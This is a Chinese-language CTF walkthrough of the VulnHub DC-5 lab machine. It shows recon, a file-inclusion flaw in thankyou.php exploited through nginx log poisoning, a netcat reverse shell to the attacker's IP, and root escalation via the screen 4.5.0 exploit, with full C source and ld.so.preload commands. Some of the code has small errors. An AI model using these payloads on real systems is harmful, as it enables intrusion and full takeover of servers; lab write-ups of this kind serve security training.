vulnhub靶机:dc-5

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

kali的ip

10.9.23.112

靶机IP

10.9.23.204

2:端口扫描

nmap -A -p- -T4 10.9.23.204

3:端口探测

发现contact里面他有输入框

发现底下这个页脚会发生变化,猜测存在文件包含漏洞,先扫一下目录

4:目录遍历

dirsearch -u 10.9.23.204

/footer.php

二:漏洞利用

1:文件包含漏洞

发现是thankyou.php中包含了footer.php页面

测试文件包含漏洞的测试方法

?file=/etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://xxx/1.php

http://xxx/../../../file.txt

http://10.9.23.204/thankyou.php?file=/etc/passwd

2:一句话木马

打开bp开始抓包

发现返回400,先验证一下是否成功:

查看一下日志信息,nginx日志的默认日志路劲为/var/log/nginx/,一般nginx的日志都有access.log和error.log文件,随便访问一个试试:

/thankyou.php?file=/var/log/nginx/access.log&cmd=ls -l

证明已经写入了access.log文件,写入反弹shell并监听:

/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 10.9.23.112 6666

三:提权

获取shell,进行升级

python -c 'import pty;pty.spawn("/bin/bash")';

查看当前用户可以使用的命令:

find / -perm /4000

发现了一个比较特殊的文件 screen 4.5.0,当然其他文件比较常见,通过经验判断是不能提权的。接下来就用searchsploit搜索一下这个比较特殊的文件。

searchsploit screen 4.5.0

searchsploit -m 41154.sh

cat 41154.sh

经过测试这个文件直接上传执行不会成功,需要分别将里面的代码分为三个部分,分别编译后执行才能成功。

创建并编译libhax.c
touch libhax.c
vim libhax.c

include <stdio.h>

解释

#include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); }

编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

创建rootshell.c并编译文件
touch rootshell.c
vim rootshell.c

include <stdio.h>

int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

编译

gcc -o rootshell rootshell.c

开启80端口

python3 -m http.server 80

上传文件,要注意的是需要上传到 /tmp目录下,因为代码中使用的是绝对路径。

wget http://10.9.23.112/libhax.so /tmp

wget http://10.9.23.112/rootshell /tmp

给 getshell.sh赋予执行权限,然后执行。

chmod 777 getroot.sh
./getroot.sh

根据提权说明,使用方法

首先输入命令:cd /etc

然后输入命令:umask 000

然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

然后输入命令:screen -ls

最后输入命令:/tmp/rootshell,成功提权

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值